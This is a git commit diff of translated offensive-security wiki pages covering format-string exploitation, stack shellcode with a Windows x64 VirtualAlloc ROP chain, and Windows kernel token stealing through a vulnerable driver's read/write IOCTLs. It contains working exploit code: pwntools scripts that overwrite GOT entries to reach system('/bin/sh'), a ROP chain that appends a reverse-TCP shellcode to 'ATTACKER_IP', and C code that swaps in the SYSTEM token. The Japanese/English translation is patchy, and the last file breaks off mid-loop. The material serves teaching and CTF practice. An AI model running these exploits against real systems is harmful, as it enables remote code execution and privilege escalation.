Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ

This commit is contained in:
Translator 2025-08-28 16:58:21 +00:00
parent 03e1b4a559
commit fea0cb7885
5 changed files with 739 additions and 468 deletions

View File

@ -234,6 +234,7 @@
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)

View File

@ -1,16 +1,21 @@
# フォーマット文字列
# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## 基本情報
Cの**`printf`**は、いくつかの文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッタを含む生のテキスト**です。**次のパラメータ**として期待されるのは、**生のテキストからフォーマッタを**置き換えるための**値**です。
In C **`printf`** is a function that can be used to **出力**するために使われる関数です。
この関数が期待する**最初のパラメータ**は**書式指定子を含む生のテキスト**です。
続くパラメータはそのテキスト内の**書式指定子を置き換える値**になります。
他の脆弱な関数には**`sprintf()`**や**`fprintf()`**があります。
Other vulnerable functions are **`sprintf()`** and **`fprintf()`**.
脆弱性は、**攻撃者のテキストがこの関数の最初の引数として使用されるとき**に現れます。攻撃者は、**printfフォーマット**文字列の機能を悪用して、**任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きする**ための**特別な入力を作成**することができます。この方法で**任意のコードを実行**することが可能になります。
この脆弱性は、関数の**最初の引数として攻撃者が用意したテキストが使われる**ときに発生します。
攻撃者は**printf format**文字列の機能を悪用した**特殊な入力を作成**することで任意のアドレスから**データを読み取り/書き込み (readable/writable)**できるようになります。
この手法により**execute arbitrary code**することも可能になります。
#### フォーマッタ:
#### 書式指定子:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -21,7 +26,7 @@ Cの**`printf`**は、いくつかの文字列を**出力**するために使用
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**例:**
**例:**
- 脆弱な例:
```c
@ -53,26 +58,26 @@ return 0;
```
### **ポインタへのアクセス**
フォーマット **`%<n>$x`** は、`n` が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:
書式 **`%<n>$x`**`n` は数値は、printf に n 番目のパラメータstack からを選ばせるためのものです。したがって、printf を使って stack から 4 番目のパラメータを読みたい場合は、次のようにできます:
```c
printf("%x %x %x %x")
```
最初のパラメータから4番目のパラメータまで読み取ります。
そして最初から4番目のパラメータまで読み取ります。
または、次のようにできます:
または、次のようにすることもできます:
```c
printf("%4$x")
```
and read directly the forth.
そして直接4番目を読み取る。
攻撃者は `printf` **パラメータを制御しており、これは基本的に** 彼の入力が `printf` が呼び出されるときにスタックに存在することを意味します。つまり、彼はスタックに特定のメモリアドレスを書き込むことができます。
Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack.
> [!CAUTION]
> この入力を制御する攻撃者は、**スタックに任意のアドレスを追加し、`printf` にそれらにアクセスさせることができます**。次のセクションでは、この動作をどのように利用するかが説明されます。
> 攻撃者がこの入力を制御できる場合、stackに任意の address を追加し、`printf` にそれらへアクセスさせることが可能になります。次のセクションでこの挙動の利用方法を説明します。
## **任意の読み取り**
## **Arbitrary Read**
フォーマッタ **`%n$s`** を使用して、**`printf`** が **n 番目の位置** にある **アドレス** を取得し、それを**文字列のように印刷する**ことが可能です0x00 が見つかるまで印刷します)。したがって、バイナリのベースアドレスが **`0x8048000`** であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます
フォーマッタ **`%n$s`** を使うと、**`printf`** に **address****n position** に位置しているものを取得させ、それに従って **文字列として出力**0x00 が見つかるまで出力)させることができます。したがって、バイナリのベースアドレスが **`0x8048000`** で、ユーザ入力がstackの4番目の位置で始まることが分かっている場合、バイナリの先頭を次のように出力できます:
```python
from pwn import *
@ -86,15 +91,15 @@ p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの最後に0x00で文字列が切られるからです。
> 入力の先頭にアドレス 0x8048000 を置くことはできません。なぜならそのアドレスの末尾に 0x00 があり、文字列がそこに cat されるからです。
### オフセットを見つける
入力のオフセットを見つけるために、4または8バイト`0x41414141`)を送信し、その後に**`%1$x`**を続けて、`A`の値を取得するまで**増加**させます
オフセットを見つけるには、4 または 8 バイト(`0x41414141`)を送り、その後に **`%1$x`** を付け、`A` が返るまで **値を増やす**
<details>
<summary>ブルートフォースprintfオフセット</summary>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
@ -125,44 +130,45 @@ p.close()
```
</details>
### どれほど役立つ
### どの程度有用
任意の読み取りは以下の目的に役立ちます:
Arbitrary reads は次の用途で有用です:
- **メモリから** **バイナリ**を**ダンプ**する
- **機密情報が保存されているメモリの特定の部分にアクセスする**(カナリア、暗号化キー、またはこの[**CTFチャレンジ**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)のようなカスタムパスワードなど
- **Dump** the **binary** from memory
- **Access specific parts of memory where sensitive** **info** が格納されているlike canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)
## **任意の書き込み**
## **Arbitrary Write**
フォーマッタ **`%<num>$n`** は、スタック内の\<num>パラメータで指定されたアドレスに**書き込まれたバイト数**を**書き込みます**。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、**`%<num>$n`** を使って任意のアドレスに任意の数を記録することができます。
フォーマッタ **`%<num>$n`** は、stack 上の <num> パラメータで指定されたアドレスに、これまでに書き込まれたバイト数を書き込みます。攻撃者が printf で任意の数の char を書き込める場合、**`%<num>$n`** を使って任意のアドレスに任意の数値を書き込むことが可能になります。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はありません。そのため、フォーマッタ **`%.<num-write>%<num>$n`** を使用して、**`<num-write>`** の数を**`num`位置で指し示されるアドレスに書き込む**ことが可能です。
幸いなことに、数値 9999 を書き込むために入力に 9999 個の "A" を追加する必要はありません。代わりに、フォーマッタ **`%.<num-write>%<num>$n`** を使って、数値 **`<num-write>`** を **stack の `num` 位置が指すアドレス** に書き込むことができます。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
しかし、通常、`0x08049724`のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**`$hn`**が使用されます。これにより、**2バイトだけを書く**ことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
ただし、通常、`0x08049724` のようなアドレス(同時に書き込むには非常に大きな値)を書き込む際は、**`$n` の代わりに `$hn` が使われます**。これにより**2バイトだけを書き込む**ことができます。したがって、この操作はアドレスの上位2Bと下位2Bで2回行われます。
したがって、この脆弱性は**任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。**
したがって、この脆弱性により、任意のアドレスに**何でも書き込むことが可能arbitrary write**です。
In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques:
この例では、目標は**関数**の**アドレス**を**上書き**することです。この関数は後で呼び出される**GOT**テーブルにあります。これは他の任意書き込みからexec技術を悪用する可能性があります
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
私たちは、**ユーザー**から**引数**を**受け取る**関数を**上書き**し、それを**`system`**関数に**ポイント**します。\
前述のように、アドレスを書くためには通常2ステップが必要です最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために**`$hn`**が使用されます。
We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\
As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used.
- **HOB**はアドレスの上位2バイトに呼び出されます
- **LOB**はアドレスの下位2バイトに呼び出されます
- **HOB** is called to the 2 higher bytes of the address
- **LOB** is called to the 2 lower bytes of the address
次に、フォーマット文字列の動作のために、最初に\[HOB, LOB\]の中で最小のものを**書く必要があります**。次にもう一方を書きます。
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
HOB < LOBの場合\
HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
HOB > LOBの場合\
HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
@ -171,14 +177,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
### Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は次の場所にあります:
この種の脆弱性に対するエクスプロイトを準備するための**テンプレート**は、次で見つけられます:
{{#ref}}
format-strings-template.md
{{#endref}}
または、[**こちら**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)の基本的な例です:
あるいは、[**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) にある基本的な例:
```python
from pwn import *
@ -197,20 +203,61 @@ p.sendline('/bin/sh')
p.interactive()
```
## フォーマット文字列からBOFへ
## Format Strings to BOF
フォーマット文字列の脆弱性の書き込みアクションを悪用して、**スタックのアドレスに書き込む**ことが可能で、**バッファオーバーフロー**タイプの脆弱性を悪用することができます。
format string vulnerability の書き込み動作を悪用して、**スタック上のアドレスに書き込む**ことで、**buffer overflow** 型の脆弱性を悪用することが可能です。
## その他の例と参考文献
## Windows x64: Format-string leak to bypass ASLR (no varargs)
On Windows x64では、最初の4つの整数/ポインタ引数がレジスタRCX, RDX, R8, R9で渡されます。多くのバグのある call-sites では、攻撃者制御の文字列が format 引数として使われているが、variadic 引数は提供されていない、例えば:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
可変引数が渡されないため、"%p", "%x", "%s" のような変換は CRT に次の可変引数を適切なレジスタから読み取らせます。Microsoft x64 calling convention では、"%p" に対する最初の読み取りが R9 から行われます。コールサイトで R9 に入っている一時的な値が出力されます。実際には、これはしばしばモジュール内の安定したポインタ(例: 周辺のコードによって以前に R9 に置かれたローカル/グローバルオブジェクトへのポインタや callee-saved 値)を漏らし、モジュールベースを復元して ASLR を無効化するために使えます。
Practical workflow:
- 攻撃者が制御する文字列の先頭に、"%p " のような無害なフォーマットを挿入し、最初の変換がフィルタリングより先に実行されるようにする。
- leaked pointer を取得し、そのオブジェクトのモジュール内での静的オフセットを特定する(シンボルやローカルコピーで一度リバースする)。そしてイメージベースを `leak - known_offset` として復元する。
- そのベースを再利用して、ROP gadgets と IAT entries の絶対アドレスをリモートで計算する。
例(簡略化した python
```python
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
```
注意:
- 差し引く正確なオフセットは、ローカルでのリバース中に一度特定し、それ以降は同じバイナリ/バージョンで再利用します。
- 最初の試行で"%p"が有効なポインタを出力しない場合は、他の指定子("%llx", "%s")や複数の変換("%p %p %p")を試して、他の引数レジスタ/スタックをサンプリングしてください。
- このパターンは、Windows x64 calling convention と printf-family の実装に特有で、フォーマット文字列が要求したときに存在しない varargs をレジスタから取得する場合に当てはまります。
この手法は、ASLR が有効で明白なメモリ開示プリミティブがない Windows サービス上で ROP をブートストラップする際に非常に有用です。
## その他の例 & 参考
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用実行フローを変更する必要はありません
- 32 bit、no relro、no canary、nx、no pie、format strings を使った基本的な手法で、スタックから flag を leak する(実行フローを変更する必要はない
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32ビット、relroあり、canaryなし、nx、pieなし、`fflush`のアドレスをwin関数ret2winで上書きするためのフォーマット文字列
- 32 bit、relro、no canary、nx、no pie、format string を使って `fflush` のアドレスを win functionret2winで上書きする
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32ビット、relroあり、canaryなし、nx、pieなし、`.fini_array`内のmainのアドレスに書き込むためのフォーマット文字列フローがもう1回ループバックするようにおよび`system`のアドレスをGOTテーブルに書き込み、`strlen`を指す。フローがmainに戻ると、`strlen`がユーザー入力で実行され、`system`を指すと、渡されたコマンドが実行されます。
- 32 bit、relro、no canary、nx、no pie、format string を使って main 内の `.fini_array` にアドレスを書き込みこれによりフローがもう1回ループする、GOT テーブル内の `strlen` を指すエントリに `system` のアドレスを書き込む。フローが main に戻ると、`strlen` がユーザ入力で呼ばれ、`system` を指しているため、渡されたコマンドが実行される。
## References
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## 基本情報
**Stack shellcode** は、**binary exploitation** において攻撃者が脆弱なプログラムのスタックにシェルコードを書き込み、その後 **Instruction Pointer (IP)** または **Extended Instruction Pointer (EIP)** をこのシェルコードの位置を指すように変更し、実行させる技術です。これは、ターゲットシステムに対して不正アクセスを得たり、任意のコマンドを実行させたりするために使用される古典的な方法です。プロセスの内訳を示し、シンプルなCの例と、**pwntools** を使用して対応するエクスプロイトを書く方法を説明します。
**Stack shellcode** は **binary exploitation** において、攻撃者が脆弱なプログラムの stack に shellcode を書き込み、**Instruction Pointer (IP)** や **Extended Instruction Pointer (EIP)** をその shellcode の位置を指すように変更して実行させる手法です。これは対象システムに不正にアクセスしたり任意のコマンドを実行したりするための古典的な方法です。以下にプロセスの内訳と、簡単な C の例、および **pwntools** を使って Python で対応する exploit を書く方法を示します。
### Cの例: 脆弱なプログラム
脆弱なCプログラムのシンプルな例から始めましょう:
まずは脆弱な C プログラムの簡単な例を示します:
```c
#include <stdio.h>
#include <string.h>
@ -24,22 +24,22 @@ printf("Returned safely\n");
return 0;
}
```
このプログラムは`gets()` 関数の使用によりバッファオーバーフローに対して脆弱です。
このプログラムは `gets()` 関数の使用によりバッファオーバーフローの脆弱性があります。
### コンパイル
このプログラムをコンパイルしてさまざまな保護を無効にすることで(脆弱な環境をシミュレートするために)、次のコマンドを使用できます:
さまざまな保護を無効化して(脆弱な環境をシミュレートするために)このプログラムをコンパイルするには、次のコマンドを使用します:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: スタック保護を無効します。
- `-z execstack`: スタックを実行可能にし、スタックに保存されたシェルコードを実行するために必要です。
- `-no-pie`: ポジション独立実行可能ファイルを無効にし、シェルコードが配置されるメモリアドレスを予測しやすくします。
- `-m32`: プログラムを32ビット実行可能ファイルとしてコンパイルし、エクスプロイト開発の簡素化にしばしば使用されます。
- `-fno-stack-protector`: スタック保護を無効します。
- `-z execstack`: スタックを実行可能にします。これはスタックに格納された shellcode を実行するために必要です。
- `-no-pie`: Position Independent Executable を無効化し、shellcode が配置されるメモリアドレスを予測しやすくします。
- `-m32`: プログラムを 32-bit 実行形式としてコンパイルします。exploit 開発で簡便さのためによく使われます。
### Python Exploit using Pwntools
### Pwntools を使った Python Exploit
ここでは、**pwntools**を使用して**ret2shellcode**攻撃を実行するためのPythonでのエクスプロイトの書き方を示します
以下は、**pwntools** を使用して **ret2shellcode** 攻撃を実行するための Python の exploit を書く方法です:
```python
from pwn import *
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
このスクリプトは、**NOPスライド**、**シェルコード**で構成されるペイロードを構築し、**EIP**をNOPスライドを指すアドレスで上書きして、シェルコードが実行されることを保証します。
This script constructs a payload consisting of a **NOP slide**, the **shellcode**, and then overwrites the **EIP** with the address pointing to the NOP slide, ensuring the shellcode gets executed.
**NOPスライド**`asm('nop')`)は、正確なアドレスに関係なく、実行がシェルコードに「スライド」する可能性を高めるために使用されます。`p32()`引数をバッファの開始アドレスにオフセットを加えたものに調整して、NOPスライドに到達します。
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
## 保護
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **は無効にするべき**で、アドレスが実行ごとに信頼できるものであるか、関数が格納されるアドレスが常に同じでない場合、どこにwin関数がロードされているかを把握するために何らかのリークが必要になります。
- [**スタックカナリア**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)も無効にするべきで、侵害されたEIPの戻りアドレスは決して追跡されません。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **スタック**保護は、スタック内のシェルコードの実行を防ぎます。なぜなら、その領域は実行可能ではないからです。
現代の Windows ではスタックは実行不可DEP/NXです。stack BOF 後にスタック上の shellcode を実行する一般的な方法は、モジュールの Import Address Table (IAT) から VirtualAllocまたは VirtualProtectを呼び出す 64-bit ROP チェーンを組み、スタック領域を実行可能にしてチェーンの後に続く shellcode にリターンする方法です。
## その他の例と参考文献
Key points (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → 現在のスタック内のアドレス(例: RSPを選び、割り当てられた RWX 領域があなたのペイロードと重なるようにする
- RDX = dwSize → チェーンshellcode を収められる十分な大きさ(例: 0x1000
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Minimal strategy:
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
3) Place stage-2 shellcode immediately after the chain.
Example layout (conceptual):
```
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
```
制約された gadget set を使うと、register 値を間接的に作成できます。例えば:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
Pwntools スケッチ(既知の base と gadgets がある場合):
```python
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
```
ヒント:
- VirtualProtect は、既存のバッファを RX にする方が好ましい場合に同様に動作します。パラメータの順序が異なる点に注意してください。
- スタック領域が狭い場合は、別の場所に RWX を割り当てRCX=NULLて、スタックを再利用する代わりにその新領域へ jmp してください。
- RSP を調整するガジェット(例: add rsp, 8; retを常に考慮し、junk qwords を挿入して調整してください。
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** — 実行間でアドレスを信頼可能にするため。さもないと関数が格納されるアドレスは毎回同じではなく、win 関数がどこにロードされているかを特定するために何らかの leak が必要になります。
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効化しておくべきです。さもないと改竄された EIP のリターンアドレスは実行されません。
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保護は、該当領域が実行不可になるためスタック内の shellcode の実行を防ぎます。
## その他の例と参考
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64ビット、スタックアドレスリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
- 64bit、ASLR 下で stack address leak があるケース: shellcode を書き込みそこへ jump する
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32ビット、スタックリークを伴うASLR、シェルコードを書き込み、そこにジャンプ
- 32 bit、ASLR 下で stack leak があるケース: shellcode を書き込みそこへ jump する
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32ビット、スタックリークを伴うASLR、exit()への呼び出しを防ぐための比較、変数を値で上書きし、シェルコードを書き込み、そこにジャンプ
- 32 bit、ASLR 下で stack leak があり、exit() の呼び出しを防ぐ比較処理を入れつつ変数を上書きして shellcode を書き込み jump するケース
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64、ASLRなし、スタックを実行可能にするROPガジェットとスタック内のシェルコードにジャンプ
- arm64、ASLR 無し、ROP gadget を使ってスタックを実行可能にしスタック内の shellcode に jump する
## 参考
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,122 @@
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
{{#include ../../banners/hacktricks-training.md}}
## 概要
脆弱なドライバが攻撃者に任意のカーネル読み取り/書き込みプリミティブを与える IOCTL を露出している場合、SYSTEMNT AUTHORITY\SYSTEMへの昇格は SYSTEM のアクセス Token を盗むことで達成できることが多いです。この手法は、SYSTEM プロセスの EPROCESS から現在のプロセスの EPROCESS に Token ポインタをコピーします。
なぜ動作するか:
- 各プロセスは EPROCESS 構造体を持ち、その中に他のフィールドとともにToken実際にはトークンオブジェクトへの EX_FAST_REFが含まれる。
- SYSTEM プロセスPID 4はすべての権限が有効になったトークンを保持している。
- 現在のプロセスの EPROCESS.Token を SYSTEM のトークンポインタで置き換えると、現在のプロセスは即座に SYSTEM として実行される。
> EPROCESS のオフセットは Windows のバージョンによって異なります。動的に決定するsymbolsか、バージョン固有の定数を使用してください。また EPROCESS.Token が EX_FAST_REF であること(下位 3 ビットが参照カウントフラグとして使われている)を忘れないでください。
## 大まかな手順
1) ntoskrnl.exe のベースを見つけ、PsInitialSystemProcess のアドレスを解決する。
- ユーザーモードからは、NtQuerySystemInformation(SystemModuleInformation) や EnumDeviceDrivers を使ってロードされたドライバのベースを取得する。
- カーネルベースに PsInitialSystemProcess のオフセットsymbols/リバースから取得)を加えて、そのアドレスを得る。
2) PsInitialSystemProcess のポインタを読み取る → これは SYSTEM の EPROCESS へのカーネルポインタである。
3) SYSTEM の EPROCESS から UniqueProcessId と ActiveProcessLinks のオフセットを読み取り、EPROCESS 構造体の二重リンクリストActiveProcessLinks.Flink/Blinkをたどって、UniqueProcessId が GetCurrentProcessId() と等しい EPROCESS を見つけるまで進む。以下を保持する:
- EPROCESS_SYSTEMSYSTEM のため)
- EPROCESS_SELF現在のプロセスのため
4) SYSTEM トークンの値を読む: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- 下位 3 ビットをマスクする: Token_SYS_masked = Token_SYS & ~0xFビルドによっては ~0xF や ~0x7 が一般的x64 では下位 3 ビットが使われる — 0xFFFFFFFFFFFFFFF8 マスク)。
5) Option A (common): 現在のトークンの下位 3 ビットを保持し、SYSTEM のポインタにそれらを付けることで埋め込み参照カウントの整合性を保つ。
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) カーネル書き込みプリミティブを使って Token_NEW を (EPROCESS_SELF + TokenOffset) に書き戻す。
7) 現在のプロセスはこれで SYSTEM になっている。必要に応じて新しい cmd.exe や powershell.exe を起動して確認する。
## 擬似コード
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your drivers interface.
```c
#include <Windows.h>
#include <Psapi.h>
#include <stdint.h>
// Device + IOCTLs are driver-specific
#define DEV_PATH "\\\\.\\VulnDrv"
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Version-specific (examples only resolve per build!)
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
}
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
struct { uint64_t addr, val; } in; DWORD ret;
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
}
// Get ntoskrnl base (one option)
uint64_t get_nt_base(void) {
LPVOID drivers[1024]; DWORD cbNeeded;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
return (uint64_t)drivers[0]; // first is typically ntoskrnl
}
return 0;
}
int main(void) {
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (h == INVALID_HANDLE_VALUE) return 1;
// 1) Resolve PsInitialSystemProcess
uint64_t nt = get_nt_base();
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
// 2) Read SYSTEM EPROCESS
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
// 3) Walk ActiveProcessLinks to find current EPROCESS
DWORD myPid = GetCurrentProcessId();
uint64_t cur = EPROC_SYS; // list is circular
uint64_t EPROC_ME = 0;
do {
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
